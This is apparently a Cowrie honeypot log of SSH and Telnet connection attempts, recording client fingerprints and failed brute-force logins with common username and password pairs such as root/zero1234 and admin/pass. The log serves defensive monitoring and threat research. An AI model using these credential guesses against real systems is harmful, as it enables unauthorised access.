{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":54408,"dst_ip":"159.203.135.109","dst_port":22,"session":"36aa87036184","protocol":"ssh","message":"New connection: 103.148.100.146:54408 (159.203.135.109:22) [session: 36aa87036184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:54.609237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:54.614318Z","src_ip":"103.148.100.146","session":"36aa87036184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:54.886243Z","src_ip":"103.148.100.146","session":"36aa87036184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zero1234","message":"login attempt [root/zero1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:55.994651Z","src_ip":"103.148.100.146","session":"36aa87036184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.58460521697998,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:56.862617Z","src_ip":"188.166.220.49","session":"7afa8f425396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.52417039871216,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:56.955691Z","src_ip":"188.166.220.49","session":"c1c033a76103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:57.266818Z","src_ip":"103.148.100.146","session":"36aa87036184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36706,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cfffddf6672","protocol":"ssh","message":"New connection: 159.203.92.129:36706 (159.203.135.109:22) [session: 0cfffddf6672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:02.601883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:02.607071Z","src_ip":"159.203.92.129","session":"0cfffddf6672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:02.612108Z","src_ip":"159.203.92.129","session":"0cfffddf6672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p@ssw0rd123","message":"login attempt [admin/p@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:02.626374Z","src_ip":"159.203.92.129","session":"0cfffddf6672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:03.632718Z","src_ip":"159.203.92.129","session":"0cfffddf6672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.03900361061096,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:04.250544Z","src_ip":"188.166.220.49","session":"e45a9e0c9fae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.510533809661865,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:05.542034Z","src_ip":"188.166.220.49","session":"f9a143c9aa02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":41682,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cb0430f6fc3","protocol":"ssh","message":"New connection: 45.78.208.179:41682 (159.203.135.109:22) [session: 7cb0430f6fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:06.731649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:06.737272Z","src_ip":"45.78.208.179","session":"7cb0430f6fc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:06.981951Z","src_ip":"45.78.208.179","session":"7cb0430f6fc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":48658,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1dd0afe5b27","protocol":"telnet","message":"New connection: 188.166.220.49:48658 (159.203.135.109:23) [session: c1dd0afe5b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:07.633526Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"password!","message":"login attempt [user/password!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:07.990279Z","src_ip":"45.78.208.179","session":"7cb0430f6fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:09.304060Z","src_ip":"45.78.208.179","session":"7cb0430f6fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.77001357078552,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:28.060015Z","src_ip":"188.166.220.49","session":"93e7b7deace2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.26.176.246","src_port":60899,"dst_ip":"159.203.135.109","dst_port":23,"session":"581a343606dd","protocol":"telnet","message":"New connection: 189.26.176.246:60899 (159.203.135.109:23) [session: 581a343606dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:31.335078Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.26.176.246","src_port":60910,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d812ca25cdd","protocol":"telnet","message":"New connection: 189.26.176.246:60910 (159.203.135.109:23) [session: 7d812ca25cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:32.684798Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.217.22.185","src_port":41150,"dst_ip":"159.203.135.109","dst_port":22,"session":"9769f8233bf6","protocol":"ssh","message":"New connection: 60.217.22.185:41150 (159.203.135.109:22) [session: 9769f8233bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:35.702171Z"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:36.598294Z","src_ip":"60.217.22.185","session":"9769f8233bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.217.22.185","src_port":42072,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bd8d163ed57","protocol":"ssh","message":"New connection: 60.217.22.185:42072 (159.203.135.109:22) [session: 0bd8d163ed57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:37.468786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:37.477779Z","src_ip":"60.217.22.185","session":"0bd8d163ed57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.07289981842041,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:40.706193Z","src_ip":"188.166.220.49","session":"c1dd0afe5b27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":19623,"dst_ip":"159.203.135.109","dst_port":22,"session":"19fc46750364","protocol":"ssh","message":"New connection: 223.197.186.7:19623 (159.203.135.109:22) [session: 19fc46750364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:42.298551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:42.302692Z","src_ip":"223.197.186.7","session":"19fc46750364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:42.534477Z","src_ip":"223.197.186.7","session":"19fc46750364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":39832,"dst_ip":"159.203.135.109","dst_port":23,"session":"041bc5bc3f6a","protocol":"telnet","message":"New connection: 188.166.220.49:39832 (159.203.135.109:23) [session: 041bc5bc3f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:42.584967Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ7ujm","message":"login attempt [root/!QAZ7ujm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:43.461885Z","src_ip":"223.197.186.7","session":"19fc46750364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:44.684293Z","src_ip":"223.197.186.7","session":"19fc46750364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50042,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf199653b3a9","protocol":"ssh","message":"New connection: 159.203.92.129:50042 (159.203.135.109:22) [session: bf199653b3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:47.258211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:47.263404Z","src_ip":"159.203.92.129","session":"bf199653b3a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:47.268659Z","src_ip":"159.203.92.129","session":"bf199653b3a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass","message":"login attempt [admin/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:47.280249Z","src_ip":"159.203.92.129","session":"bf199653b3a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:48.286336Z","src_ip":"159.203.92.129","session":"bf199653b3a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":50032,"dst_ip":"159.203.135.109","dst_port":23,"session":"70f5959e10a2","protocol":"telnet","message":"New connection: 188.166.220.49:50032 (159.203.135.109:23) [session: 70f5959e10a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:49.587977Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":50048,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f463d71aa82","protocol":"telnet","message":"New connection: 188.166.220.49:50048 (159.203.135.109:23) [session: 8f463d71aa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:49.629606Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":43918,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bf04c03f478","protocol":"ssh","message":"New connection: 103.148.100.146:43918 (159.203.135.109:22) [session: 4bf04c03f478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:56.017850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:56.023318Z","src_ip":"103.148.100.146","session":"4bf04c03f478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:56.293249Z","src_ip":"103.148.100.146","session":"4bf04c03f478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":57914,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8112852be57","protocol":"telnet","message":"New connection: 188.166.220.49:57914 (159.203.135.109:23) [session: f8112852be57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:57.162323Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"112233","message":"login attempt [admin/112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:57.387382Z","src_ip":"103.148.100.146","session":"4bf04c03f478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:12:58.670637Z","src_ip":"103.148.100.146","session":"4bf04c03f478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":40362,"dst_ip":"159.203.135.109","dst_port":22,"session":"871b60051c22","protocol":"ssh","message":"New connection: 45.78.208.179:40362 (159.203.135.109:22) [session: 871b60051c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:04.918325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:04.924043Z","src_ip":"45.78.208.179","session":"871b60051c22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":43520,"dst_ip":"159.203.135.109","dst_port":23,"session":"fda953a548db","protocol":"telnet","message":"New connection: 188.166.220.49:43520 (159.203.135.109:23) [session: fda953a548db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:05.107539Z"}
